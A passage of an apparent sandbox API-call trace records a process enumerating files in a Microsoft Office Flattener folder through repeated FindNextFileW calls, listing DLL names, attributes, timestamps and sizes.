returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37acc11, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37acc11, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x44a38de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x44a38de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0172.743] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7667bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7667bd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6971e7c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6971e7c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6971e7c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18d43c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0172.744] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf34d6ecb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf34d6ecb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf3b3f424, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68b32cb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68b32cb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68b32cb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf5ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0172.745] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOpcServices.dll", cAlternateFileName="APPVOP~1.DLL")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOpcServices.dll.manifest", cAlternateFileName="APPVOP~1.MAN")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f4ff2d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f4ff2d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11541b08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPackaging.dll", cAlternateFileName="APPVPA~1.DLL")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPackaging.dll.manifest", cAlternateFileName="APPVPA~1.MAN")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48a9e4d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48a9e4d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48cfa7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVStreamMap.dll", cAlternateFileName="APPVST~1.DLL")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114f5747, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CommonSequencingProperties.xml", cAlternateFileName="COMMON~1.XML")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffdb5707, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffdb5707, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffdb5707, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3b740, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0172.746] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6d5947, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb260, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener.exe", cAlternateFileName="FLATTE~1.EXE")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5ca8ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5ca8ee, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener.exe.config", cAlternateFileName="FLATTE~1.CON")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x178d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Eventing.dll", cAlternateFileName="MI9EC4~1.DLL")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa6d5947, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa6d5947, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa82ce6a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Modernizer.Common.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x58cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Modernizer.CSharp.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9862502, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9862502, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6924d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AppV.Modernizer.ManagedCpp.dll", cAlternateFileName="MI5FC8~1.DLL")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Tools.BinaryStore.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Tools.Office.C2R.Common.dll", cAlternateFileName="MI509C~1.DLL")) returned 1 [0172.747] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf483611a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x206c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Tools.Office.C2R.Packager.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2cf9c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6b538, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e310c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e310c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e572fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdbcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x412b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6223b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6223b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0172.748] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0172.748] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed450) returned 1 [0172.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed410) returned 1 [0172.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed510) returned 1 [0172.749] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener", nBufferLength=0x105, lpBuffer=0x200ecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Flattener", lpFilePart=0x0) returned 0x30 [0172.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x200ed230 | out: lpFindFileData=0x200ed230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.749] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.749] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ed1f0 | out: lpFindFileData=0x200ed1f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, 